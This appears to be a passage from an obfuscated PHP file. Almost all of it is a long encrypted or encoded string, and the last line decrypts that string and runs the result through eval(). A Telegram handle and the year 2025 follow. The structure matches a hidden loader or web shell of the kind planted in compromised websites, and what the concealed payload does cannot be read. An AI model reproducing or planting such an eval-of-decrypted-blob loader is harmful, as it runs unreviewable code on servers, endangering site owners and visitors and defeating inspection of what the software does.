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"; $decrypted = $secure->decrypt($str); eval($decrypted);

https://t.me/RX1948 - 2025